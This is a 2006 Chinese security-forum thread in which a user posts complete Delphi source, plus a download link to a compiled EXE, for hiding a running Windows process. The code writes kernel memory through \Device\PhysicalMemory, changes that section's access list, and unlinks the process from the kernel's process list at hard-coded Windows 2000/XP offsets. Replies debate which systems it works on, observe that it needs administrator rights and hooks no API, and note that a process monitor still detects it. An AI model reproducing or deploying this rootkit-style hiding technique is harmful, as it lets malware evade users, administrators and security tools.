首页
社区
课程
招聘
纯Delphi实现,Hook API实现进程隐藏代码!
发表于: 2006-9-3 10:19 36282

纯Delphi实现,Hook API实现进程隐藏代码!

2006-9-3 10:19
36282
下面是程序的下载地址
http://www.live-share.com/files/30434/HideProcess.rar.html

程序里有EXE,大家测试一下!

HideProcess.pas的内容!

unit HideProcess;

interface

function MyHideProcess: Boolean;

implementation

uses
  Windows, SysUtils, Variants, Classes, AclAPI, accCtrl;

type
  NTSTATUS = LongInt;

const
  //NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
  STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
  STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
  OBJ_INHERIT = $00000002;
  OBJ_PERMANENT = $00000010;
  OBJ_EXCLUSIVE = $00000020;
  OBJ_CASE_INSENSITIVE = $00000040;
  OBJ_OPENIF = $00000080;
  OBJ_OPENLINK = $00000100;
  OBJ_KERNEL_HANDLE = $00000200;
  OBJ_VALID_ATTRIBUTES = $000003F2;

type
  PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
  IO_STATUS_BLOCK = record
    Status: NTSTATUS;
    FObject: DWORD;
  end;

  PUNICODE_STRING = ^UNICODE_STRING;
  UNICODE_STRING = record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
  OBJECT_ATTRIBUTES = record
    Length: DWORD;
    RootDirectory: Pointer;
    ObjectName: PUNICODE_STRING;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
  end;

  TZwOpenSection = function(SectionHandle: PHandle;
    DesiredAccess: ACCESS_MASK;
    ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
  TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
    SourceString: PWideChar); stdcall;

var
  RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
  ZwOpenSection: TZwOpenSection = nil;
  g_hNtDLL: THandle = 0;
  g_pMapPhysicalMemory: Pointer = nil;
  g_hMPM: THandle = 0;
  g_hMPM2: THandle = 0;
  g_osvi: OSVERSIONINFO;
  b_hide: Boolean = false;
//---------------------------------------------------------------------------

function InitNTDLL: Boolean;
begin
  g_hNtDLL := LoadLibrary('ntdll.dll');

  if 0 = g_hNtDLL then
  begin
    Result := false;
    Exit;
  end;

  RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
  ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

  Result := True;
end;
//---------------------------------------------------------------------------

procedure CloseNTDLL;
begin
  if (0 <> g_hNtDLL) then
    FreeLibrary(g_hNtDLL);
  g_hNtDLL := 0;
end;
//---------------------------------------------------------------------------

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
  pDacl: PACL;
  pSD: PPSECURITY_DESCRIPTOR;
  pNewDacl: PACL;
  dwRes: DWORD;
  ea: EXPLICIT_ACCESS;
begin
  pDacl := nil;
  pSD := nil;
  pNewDacl := nil;

  dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);

  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;

  ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions := SECTION_MAP_WRITE;
  ea.grfAccessMode := GRANT_ACCESS;
  ea.grfInheritance := NO_INHERITANCE;
  ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
  ea.Trustee.ptstrName := 'CURRENT_USER';

  dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);

  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;

  dwRes := SetSecurityInfo

  (hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);

  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;

end;
//---------------------------------------------------------------------------

function OpenPhysicalMemory: THandle;
var
  status: NTSTATUS;
  physmemString: UNICODE_STRING;
  attributes: OBJECT_ATTRIBUTES;
  PhyDirectory: DWORD;
begin
  g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
  GetVersionEx(g_osvi);

  if (5 <> g_osvi.dwMajorVersion) then
  begin
    Result := 0;
    Exit;
  end;

  case g_osvi.dwMinorVersion of
    0: PhyDirectory := $30000;
    1: PhyDirectory := $39000;
  else
    begin
      Result := 0;
      Exit;
    end;
  end;

  RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');

  attributes.Length := SizeOf(OBJECT_ATTRIBUTES);
  attributes.RootDirectory := nil;
  attributes.ObjectName := @physmemString;
  attributes.Attributes := 0;
  attributes.SecurityDescriptor := nil;
  attributes.SecurityQualityOfService := nil;

  status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

  if (status = STATUS_ACCESS_DENIED) then
  begin
    ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);

    status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
  end;

  if not (LongInt(status) >= 0) then
  begin
    Result := 0;
    Exit;
  end;

  g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
    FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);

  if (g_pMapPhysicalMemory = nil) then
  begin
    Result := 0;
    Exit;
  end;

  Result := g_hMPM;
end;
//---------------------------------------------------------------------------
function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
  VAddr, PGDE, PTE, PAddr, tmp: DWORD;
begin
  VAddr := DWORD(addr);
//  PGDE := BaseAddress[VAddr shr 22];
  PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.

  if 0 = (PGDE and 1) then
  begin
    Result := nil;
    Exit;
  end;

  tmp := PGDE and $00000080;

  if (0 <> tmp) then
  begin
    PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
  end
  else
  begin
    PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
//    PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];
    PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.

    if (0 = (PTE and 1)) then
    begin
      Result := nil;
      Exit;
    end;

    PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
    UnmapViewOfFile(Pointer(PGDE));
  end;

  Result := Pointer(PAddr);
end;
//---------------------------------------------------------------------------

function GetData(addr: Pointer): DWORD;
var
  phys, ret: DWORD;
  tmp: PDWORD;
begin
  phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
    phys and $FFFFF000, $1000));

  if (nil = tmp) then
  begin
    Result := 0;
    Exit;
  end;

//  ret := tmp[(phys and $FFF) shr 2];
  ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.
  UnmapViewOfFile(tmp);

  Result := ret;
end;
//---------------------------------------------------------------------------

function SetData(addr: Pointer; data: DWORD): Boolean;
var
  phys: DWORD;
  tmp: PDWORD;
begin
  phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));

  if (nil = tmp) then
  begin
    Result := false;
    Exit;
  end;

//  tmp[(phys and $FFF) shr 2] := data;
  PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^ := data; // Modify by dot.
  UnmapViewOfFile(tmp);

  Result := TRUE;
end;
//---------------------------------------------------------------------------
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
begin
ExitProcess(0);
return 1 ;
end }
//---------------------------------------------------------------------------

function YHideProcess: Boolean;
var
  thread, process: DWORD;
  fw, bw: DWORD;
begin
//  SetUnhandledExceptionFilter(exeception);
  if (FALSE = InitNTDLL) then
  begin
    Result := FALSE;
    Exit;
  end;

  if (0 = OpenPhysicalMemory) then
  begin
    Result := FALSE;
    Exit;
  end;

  thread := GetData(Pointer($FFDFF124)); //kteb
  process := GetData(Pointer(thread + $44)); //kpeb

  if (0 = g_osvi.dwMinorVersion) then
  begin
    fw := GetData(Pointer(process + $A0));
    bw := GetData(Pointer(process + $A4));

    SetData(Pointer(fw + 4), bw);
    SetData(Pointer(bw), fw);

    Result := TRUE;
  end
  else if (1 = g_osvi.dwMinorVersion) then
  begin
    fw := GetData(Pointer(process + $88));
    bw := GetData(Pointer(process + $8C));

    SetData(Pointer(fw + 4), bw);
    SetData(Pointer(bw), fw);

    Result := TRUE;
  end
  else
  begin
    Result := False;
  end;

  CloseHandle(g_hMPM);
  CloseNTDLL;
end;

function MyHideProcess: Boolean;
begin
  if not b_hide then
  begin
    b_hide := YHideProcess;
  end;

  Result := b_hide;
end;

end.

Project1.dpr主程序的内容!

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses HideProcess;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
    MyHideProcess;
end;

end.

[课程]Android-CTF解题方法汇总!

收藏
免费 7
支持
分享
最新回复 (40)
雪    币: 2134
活跃值: (14)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
2
xp sp2无效,2000无效,但是我记得有个差不多的c可以在2000有效
2006-9-4 08:29
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
晕 支持代码

可惜用途不大
2006-9-4 09:13
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
都能用PhysicalMemory对象了,我还不如直接进RING0修改SSDT
2006-9-4 11:11
0
雪    币: 1705
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
xpsp2测试有效,朋友测试的WINDOWS2003SP1也有效!
2006-9-4 11:54
0
雪    币: 1705
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
没有上传文件 的权限,要有的话,我可以把附件传上来,大家看一下!
2006-9-4 11:54
0
雪    币: 2899
活跃值: (1753)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
7
不知坛子里是否有人测试成功?确实无效!
WindowsXP-sp2下。
2006-9-5 13:28
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
8
如果可以的话,传个EXE上来,
不然像我这样没用过Delphi的没法测试
2006-9-5 18:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
不错!支持一下!WIN2000可以!!
2006-9-6 16:18
0
雪    币: 1705
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
下面是程序的下载地址
http://www.live-share.com/files/30434/HideProcess.rar.html
程序里有EXE,文件大家 自己测试一下!
2006-9-11 16:43
0
雪    币: 372
活跃值: (31)
能力值: ( LV12,RANK:410 )
在线值:
发帖
回帖
粉丝
11
最初由 wofan[OCN] 发布
不知坛子里是否有人测试成功?确实无效!
WindowsXP-sp2下。


winxp sp2+Delphi7 测试通过~~
2006-9-11 17:58
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
12
看了代码,有些地方值得学习
最好把EXE上传到这里
2006-9-11 20:42
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
13
但是像这样使用PhysicalMemory对象的,直接修改GDT进RING0就可以做很多事情了,为什么还要HOOK API呢?
2006-9-11 22:33
0
雪    币: 231
活跃值: (4820)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
顶........
2006-9-12 06:22
0
雪    币: 203
活跃值: (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
这份源代码早就见过了  应该著名转贴
2006-9-12 11:16
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
delphi 6 编译成功

可惜没效果
2006-9-12 11:37
0
雪    币: 139
活跃值: (116)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
1。function InitNTDLL: Boolean;
    这是多此一举。如果你的程序要引入(import)kernel32.DLL(绝大部分程序都是如此),则肯定会引入NTDLL.DLL。

2。procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
function OpenPhysicalMemory: THandle;

    前提是你必须是Local Administrator,否则权限不够。

3。function YHideProcess: Boolean;
    它是通过修改kernel space里的process list和thread list来隐藏进程,没有hook什么API(也许是我的理解错了?)

4。
  thread := GetData(Pointer($FFDFF124)); //kteb
  process := GetData(Pointer(thread + $44)); //kpeb

修改绝对地址是不安全的。不同的Windows版本(2000/XP/2003/Vista),甚至同一个版本的不同ServicePack补丁版(比如XP/XP SP1/ XP SP2,不同的语言版),KPEB/KTEB起始地址都可能不同,Vista甚至每次启动时都会随机设定以破解黑客的恶意代码。以后发代码,请注明你在什么系统上调试通过。

5。g_hMPM2: THandle = 0;
    程序里根本就没有用到。你发这个程序的时候,仔细看过了吗?
2006-9-13 11:17
0
雪    币: 2899
活跃值: (1753)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
18
最初由 joe-lu 发布
winxp sp2+Delphi7 测试通过~~

也测试通过,隐藏有效,强力支持!!
2006-9-13 22:57
0
雪    币: 212
活跃值: (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
19
不错,强。
用DELPHI这么久一直没写个好东西出来,惭愧
2006-9-13 23:08
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
20
最初由 娃娃[CCG] 发布
这份源代码早就见过了 应该著名转贴


请楼主确认下,属于原创还是转贴?
如果在5天内不来确认,即取消“精”
2006-9-14 11:56
0
雪    币: 238
活跃值: (326)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
21
这个东西的 C 版很早就见过,delphi 版倒是第一次见到,哈哈。
2006-9-14 18:10
0
雪    币: 139
活跃值: (116)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
22
而且你为什么需要通过访问物理内存来达到目的?你是在什么样的系统上(硬件和软件)测试通过?这个方法的通用性有多大?

可以肯定的是,该方法在Server2003 SP1上行不通:

http://technet2.microsoft.com/WindowsServer/en/library/e0f862a3-cf16-4a48-bea5-f2004d12ce351033.mspx?mfr=true

Vista/Longhorn上就更不用说了。你有什么更好的办法来解决?

这是一个小题目,但是做好了,一个工具软件的雏形就出来了。

另外,请发帖讲自己测试通过的朋友,也注明自己大致的系统硬件配置和操作系统版本,这样对大家都有好处。

我的机器上就没有通过:
    Dell Dimension 9100, intel x86 due core 2.8GHz, 1GB RAM, XP SP2 english
2006-9-16 01:11
0
雪    币: 1705
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
23
和一个哥们要的,查了网上,没有DELPHI,隐藏的例子,就发了个,首发是在dlphibbs上,不过加不加精,无所为了,主要是好的程序给大家分享!
http://www.delphibbs.com/keylife/iblog_show.asp?xid=23734
2006-9-17 11:02
0
雪    币: 225
活跃值: (1076)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
此段代码可以肯定是来自网上,我曾经就收藏过.
代码在WinXP Pro , WinXP Home 下测试通过
2006-9-17 19:11
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
不能躲过冰剑的进程监控。
2007-3-26 17:18
0
游客
登录 | 注册 方可回帖
返回
//